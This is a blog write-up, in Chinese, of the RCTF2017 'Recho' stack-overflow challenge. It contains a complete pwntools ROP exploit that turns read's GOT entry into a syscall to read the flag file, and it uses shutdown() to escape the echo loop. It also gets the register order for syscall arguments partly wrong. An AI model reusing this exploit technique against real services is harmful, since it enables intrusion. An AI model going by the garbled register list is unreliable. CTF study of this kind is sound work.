RCTF2017之Recho

這道題到比賽結(jié)束時(shí)還是一臉懵逼,看了writeup才知道其實(shí)自己的思路已經(jīng)接近了,不過(guò)還是有一些需要注意的點(diǎn)。
看一下主程序吧:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  Init(*(_QWORD *)&argc, argv, envp);
  write(1, "Welcome to Recho server!\n", 0x19uLL);
  while ( read(0, &nptr, 0x10uLL) > 0 )
  {
    v7 = atoi(&nptr);
    if ( v7 <= 15 )
      v7 = 16;
    v6 = read(0, buf, v7);
    buf[v6] = 0;
    printf("%s", buf);
  }
  return 0;
}

很明顯的棧溢出,但是有一個(gè)問(wèn)題,這兒有一個(gè)死循環(huán):在不斷開(kāi)連接的情況下read的返回值始終大于0(當(dāng)然,如果我們可以控制read的長(zhǎng)度為一個(gè)比較大的值,比如0x2000,這個(gè)時(shí)候再傳入比較多的字符串,返回結(jié)果就可能為-1)

在當(dāng)前情況下,唯一退出死循環(huán)的方法就只有關(guān)閉socket的讀通道(對(duì)應(yīng)的,在我們這端為寫(xiě)通道)。比賽的時(shí)候就只知道close這么個(gè)函數(shù),而一旦調(diào)用close,就沒(méi)有辦法再輸出數(shù)據(jù)了。今天的看了writeup,發(fā)現(xiàn)還可以調(diào)用shutdown函數(shù)來(lái)單獨(dú)關(guān)閉讀或?qū)?,有意思?/p>

知道了思路后就是調(diào)試了,但如果調(diào)用shutdown函數(shù)來(lái)退出循環(huán),連接很快就會(huì)斷掉,進(jìn)一步進(jìn)程就會(huì)被殺死,這對(duì)我們的調(diào)試是一個(gè)很大的障礙。解決辦法也比較簡(jiǎn)單, patch掉產(chǎn)生循環(huán)的指令,把ROP調(diào)試成功后再去測(cè)試shutdown退出循環(huán)。

另外一個(gè)知識(shí)點(diǎn)是int 80,syscenter,syscall這幾種方式的傳參方法。int 80和syscenter采用的同樣的傳參順序:eax,ebx,ecx,edx。但是syscall的傳參順序居然變成了rdi,rsi,rdx,r10,r9,r8。之前一直認(rèn)為這三種方式采用的是同樣的傳參方式。

好吧,問(wèn)題基本就這些。下面是完整的利用腳本

#!/usr/bin/env python
# coding=utf-8

from pwn import *
import time
from socket import *

local = 0
debug = 0
slog = 0

context.log_level= "DEBUG"
context.arch = 'amd64'

def pwn():
    p = remote('127.0.0.1', 4444)
    elf = ELF('./Recho')

    time.sleep(0.5)

    #gdb.attach(pidof('recho')[0], open('debug'))
    p.recvuntil('server!')
    p.sendline('1000')

    time.sleep(0.5)

    '''
    recho
    0x4006fc : pop rax ; ret
    0x4008a3 : pop rdi ; ret
    0x4006fe : pop rdx ; ret
    0x4008a1 : pop rsi ; pop r15 ; ret
    0x40070c : xchg eax, ebx ; add byte ptr [rdi], al ; ret
    '''

    pop_rax = 0x4006fc 
    pop_rdi = 0x4008a3 
    pop_rdx = 0x4006fe 
    pop_rsi_r15 = 0x4008a1 
    xchg_add_rdi_eax = 0x40070c
   
    bss_addr = 0x601000 + 0x100
    payload  = 'a'*0x38 # padding
   
    # change read to syscall
    payload += p64(pop_rax) + p64(0xe)
    payload += p64(pop_rdi) + p64(elf.got['read']) 
    payload += p64(xchg_add_rdi_eax)
    payload += p64(xchg_add_rdi_eax)
   
    # fd = open('flag')
    payload += p64(pop_rax) + p64(int(constants.SYS_open))
    payload += p64(pop_rdi) + p64(elf.symbols['flag']) 
    payload += p64(pop_rsi_r15) + p64(0) + p64(0xdeadbeef)
    payload += p64(pop_rdx) + p64(0) + p64(elf.plt['read'])

    # read(fd, bss_addr, 100)
    payload += p64(pop_rax) + p64(int(constants.SYS_read))
    payload += p64(pop_rdi) + p64(5)  # in my system kali 2.0, fd is 5 
                                      # in remote machine, it may not be this
                                      # but won't be very large
    payload += p64(pop_rsi_r15) + p64(bss_addr) + p64(0xdeadbeef)
    payload += p64(pop_rdx) + p64(20)+ p64(elf.plt['read'])

    # write(fd, bss_addr, 100)
    payload += p64(pop_rax) + p64(int(constants.SYS_write))
    payload += p64(pop_rdi) + p64(1)
    payload += p64(pop_rsi_r15) + p64(bss_addr) + p64(0xdeadbeef)
    payload += p64(pop_rdx) + p64(20)+ p64(elf.plt['read'])
    p.sendline(payload)

    p.shutdown("write")
    p.interactive()

if __name__ == "__main__":
    pwn()
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 1. Java基礎(chǔ)部分 基礎(chǔ)部分的順序:基本語(yǔ)法,類相關(guān)的語(yǔ)法,內(nèi)部類的語(yǔ)法,繼承相關(guān)的語(yǔ)法,異常的語(yǔ)法,線程的語(yǔ)...
    子非魚(yú)_t_閱讀 34,719評(píng)論 18 399
  • //Clojure入門(mén)教程: Clojure – Functional Programming for the J...
    葡萄喃喃囈語(yǔ)閱讀 4,050評(píng)論 0 7
  • 轉(zhuǎn)至元數(shù)據(jù)結(jié)尾創(chuàng)建: 董瀟偉,最新修改于: 十二月 23, 2016 轉(zhuǎn)至元數(shù)據(jù)起始第一章:isa和Class一....
    40c0490e5268閱讀 2,067評(píng)論 0 9
  • Spring Cloud為開(kāi)發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見(jiàn)模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 136,569評(píng)論 19 139
  • 記得剛上高中那會(huì),班里有個(gè)姑娘喜歡韓庚,那時(shí)候小鮮肉老臘肉并不像如今那么隨處可見(jiàn),可能就他小小的一個(gè)就能支撐一個(gè)女...
    如果我愛(ài)全世界閱讀 299評(píng)論 0 0

友情鏈接更多精彩內(nèi)容